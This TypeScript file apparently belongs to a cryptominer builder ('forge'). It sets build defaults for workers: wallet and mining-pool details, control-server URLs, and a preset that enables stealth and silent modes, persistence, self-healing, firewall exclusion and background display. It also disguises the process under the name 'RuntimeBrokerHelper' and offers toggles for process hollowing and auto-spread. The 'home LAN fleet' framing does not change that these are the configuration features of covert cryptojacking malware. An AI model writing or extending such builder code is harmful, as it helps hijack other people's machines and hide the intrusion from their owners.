import type { BuildRecord, BuildRequest, ServerConfig, ServerInfo } from '../types';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import { lanEndpointCandidates } from './endpointHelpers';

const WORKER_NAME_RE = /^[a-zA-Z0-9._-]+$/;

/** Suggested unique worker label for the next forge. */
export function suggestWorkerName(existing: BuildRecord[]): string {
  const used = new Set(existing.map((b) => b.worker_name.trim().toLowerCase()).filter(Boolean));
  for (let i = 1; i <= 999; i++) {
    const name = `worker-${i}`;
    if (!used.has(name)) return name;
  }
  return `worker-${Date.now().toString(36)}`;
}

export function processNameForWorker(workerName: string): string {
  const cleaned = workerName.replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
  return cleaned || 'RuntimeBrokerHelper';
}

function backupServerUrlsFromLan(primary: string, candidates: string[]): string[] {
  const norm = (u: string) => u.trim().replace(/\/+$/, '');
  const primaryNorm = norm(primary);
  const seen = new Set<string>();
  const out: string[] = [];
  for (const c of candidates) {
    const n = norm(c);
    if (!n || n === primaryNorm || seen.has(n)) continue;
    seen.add(n);
    out.push(c.trim());
  }
  return out;
}

function isGoodServerUrl(url: string): boolean {
  try {
    const u = new URL(url.trim());
    const host = u.hostname.toLowerCase();
    return host !== 'localhost' && host !== '127.0.0.1' && host !== '::1';
  } catch {
    return false;
  }
}

/** Pick the best control-server URL for workers on the LAN.
 *  Only substitutes a candidate when the current value is empty or localhost —
 *  never overwrites a user-entered URL (LAN IP, tunnel, or public domain). */
export function pickBestServerUrl(current: string, candidates: string[]): string {
  const trimmed = current?.trim() ?? '';
  // Keep whatever the user typed unless it's empty or a localhost placeholder
  if (trimmed) {
    try {
      const h = new URL(trimmed).hostname.toLowerCase();
      if (h !== 'localhost' && h !== '127.0.0.1' && h !== '::1') return trimmed;
    } catch {
      // not a valid URL yet — fall through to candidates
    }
  }
  const first = candidates.find(isGoodServerUrl);
  return first || trimmed || '';
}

/** Home-LAN fleet preset — unobtrusive, persistent, no dangerous extras. */
export function recommendedForgePreset(): Partial<BuildRequest> {
  return {
    ...FORGE_BUILD_DEFAULTS,
    mining_mode: 'idle',
    idle_threshold_pct: 20,
    idle_duration_minutes: 5,
    thread_mode: 'percent',
    thread_percent: 75,
    display_mode: 'background',
    stealth_mode: true,
    silent_mode: true,
    file_logging: false,
    persistence: true,
    auto_start: true,
    self_healing: true,
    adapt_to_hardware: true,
    firewall_exclusion: true,
    process_hollowing: false,
    mesh_p2p: false,
    auto_spread: false,
    hole_punch: false,
    remote_aggressive: false,
    ai_enabled: false,
    fusion_enabled: false,
    output_dir: 'exports',
  };
}

export interface SmartDefaultsContext {
  builds?: BuildRecord[];
  endpointCandidates?: string[];
}

/** Merge Calibrate + LAN detection + recommended toggles into a ready-to-forge form. */
export function applySmartForgeDefaults(
  form: BuildRequest,
  ctx: SmartDefaultsContext = {}
): BuildRequest {
  const preset = recommendedForgePreset();
  const worker = form.worker_name?.trim() || suggestWorkerName(ctx.builds ?? []);
  const serverUrl = pickBestServerUrl(form.server_url, ctx.endpointCandidates ?? []);
  const lanBackups =
    form.backup_server_urls?.length
      ? form.backup_server_urls
      : backupServerUrlsFromLan(serverUrl, ctx.endpointCandidates ?? []);

  return {
    ...form,
    ...preset,
    worker_name: worker,
    server_url: serverUrl,
    backup_server_urls: lanBackups,
    wallet: form.wallet?.trim() || form.wallet,
    pool_host: form.pool_host || preset.pool_host!,
    pool_port: form.pool_port || preset.pool_port!,
    pool_tls: form.pool_tls ?? preset.pool_tls!,
    pool_pass: form.pool_pass || preset.pool_pass!,
    process_name: processNameForWorker(worker),
    obfuscate: form.obfuscate ?? preset.obfuscate ?? false,
    sign_build: form.sign_build ?? preset.sign_build ?? false,
  };
}

export function forgeDefaultsFromServerSmart(
  config: ServerConfig,
  serverInfo: ServerInfo,
  builds: BuildRecord[] = []
): BuildRequest {
  const publicUrl = config.server?.public_url?.trim();
  const srv = config.server;
  const candidates = lanEndpointCandidates(serverInfo, config.port || serverInfo.port);
  const base: BuildRequest = {
    ...recommendedForgePreset(),
    worker_name: '',
    server_url: publicUrl || serverInfo.suggested_url || '',
    wallet: config.wallet.address,
    pool_host: config.pool.host,
    pool_port: config.pool.port,
    pool_tls: config.pool.use_tls,
    pool_pass: config.pool.password || 'x',
    backup_pools: (config.pool.backup_pools ?? []).map((bp) => ({
      host: bp.host,
      port: bp.port,
      tls: bp.use_tls,
      pass: config.pool.password || 'x',
    })),
    obfuscate: srv?.obfuscate_default ?? false,
    sign_build: srv?.sign_enabled ?? false,
    // Pre-fill RVN pool from Calibrate if configured
    rvn_wallet: config.rvn_wallet?.address ?? '',
    rvn_pool_host: config.rvn_pool?.host ?? 'rvn.2miners.com',
    rvn_pool_port: config.rvn_pool?.port ?? 6060,
    rvn_pool_tls: config.rvn_pool?.use_tls ?? false,
    rvn_pool_pass: config.rvn_pool?.password ?? 'x',
    rvn_backup_pools: (config.rvn_pool?.backup_pools ?? []).map((bp) => ({
      host: bp.host,
      port: bp.port,
      tls: bp.use_tls,
      pass: config.rvn_pool?.password ?? 'x',
    })),
  } as BuildRequest;
  return applySmartForgeDefaults(base, { builds, endpointCandidates: candidates });
}

export const RECOMMENDED_DEFAULTS_BLURB =
  'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';

export function isValidWorkerName(name: string): boolean {
  const t = name.trim();
  return t.length > 0 && WORKER_NAME_RE.test(t);
}
